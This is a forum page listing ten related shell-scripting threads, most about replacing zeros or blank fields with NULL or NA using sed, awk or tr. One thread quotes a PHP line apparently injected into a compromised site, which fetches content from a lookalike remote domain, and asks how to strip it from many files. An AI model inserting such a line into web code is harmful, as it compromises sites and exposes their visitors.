10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
Hi all,
Need a small help I am in lookout for a command that changes 0's to NULL in my file, The content will look like
1139,223108,R,2009,0,854,854,854,732,854,854,854,854,854
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,... (3 Replies)
Discussion started by: Sri3001
3 Replies
2. Shell Programming and Scripting
Hi All,
I need help in manipulating the data in first column in a file.
The sample data looks like below,
Mon Jul 18 00:32:52 EDT 2011,NULL,UAT
Jul 19 2011,NULL,UAT
1] All field in the file are separated by ","
2] File is having weekly data extracted from database
3] For eg.... (8 Replies)
Discussion started by: gr8_usk
8 Replies
3. Shell Programming and Scripting
Hi,
Kindly need your expertise in this problem.
I have to search and replace data. The problem is, the data is in the same format but slightly different content. What I need is sed commands that can work for those "slightly different content".
input: ... (3 Replies)
Discussion started by: Alvin123
3 Replies
4. Shell Programming and Scripting
Hi
I have a file which contains count for a code. Code is first field and count is second field.
I am trying to search the code and get correspond count.
File look like this. temp.out
A 10
B 20
I am searching for C , if C is not there I will have get value 0.
I have... (5 Replies)
Discussion started by: dgmm
5 Replies
5. Shell Programming and Scripting
Hi this is my first time posting ever. I'm relatively new in using AWK/SED, I've been trying many a solution. I'm trying to replace the 59th column in a file where if I encounter '' then I would like to replace it with the word NULL.
example
0 , '' , '' , 0 , 195.538462
change it to
0... (5 Replies)
Discussion started by: gumal901
5 Replies
6. Shell Programming and Scripting
I have a string like
In this string I want to delete both "." and ":", means I want the output as:
How can I do that using "tr" or any other such command? (6 Replies)
Discussion started by: ash.g
6 Replies
7. Shell Programming and Scripting
Hi ..
Can some one please suggest me how to replace 4th field(column) of a .csv file with "NA" if it is null.
Input file data:
|A|21|B1||1.1|
|A|21|C|RAGH|1.1|
|A|21|D1||1.1|
|A|21|C|YES|1.1
Expected Output
|A|21|B1|NA|1.1|
|A|22|C|RAGH|1.1|
|B|23|D1|NA|1.1|
|A|24|C|YES|1.1|
Thank... (4 Replies)
Discussion started by: pasupuleti81
4 Replies
8. Shell Programming and Scripting
I have a fixed width text file which has some null characters in no particular order. I need to replace them with spaces so that the width remains same.
I tried this:
tr "\000" "\040" < mainfile > newfile
Does not work. I tested that it works the other way round:
$ echo "hello" |tr... (1 Reply)
Discussion started by: rikxik
1 Replies
9. Shell Programming and Scripting
Hello,
I need a script or one liner possible in perl or awk ( as sed shows error )
I want to replace
<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?>
with blank or null
1) in a file
2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies
10. Shell Programming and Scripting
Hi,
I have a file with 104 columns delimited by comma.
I have to replace fields 4,5 and 19 with null values and after replacing the columns in the file , the file should be still comma delimited. I am new to shell scripting, Experts please help me out.
Thank you (1 Reply)
Discussion started by: vukkusila
1 Replies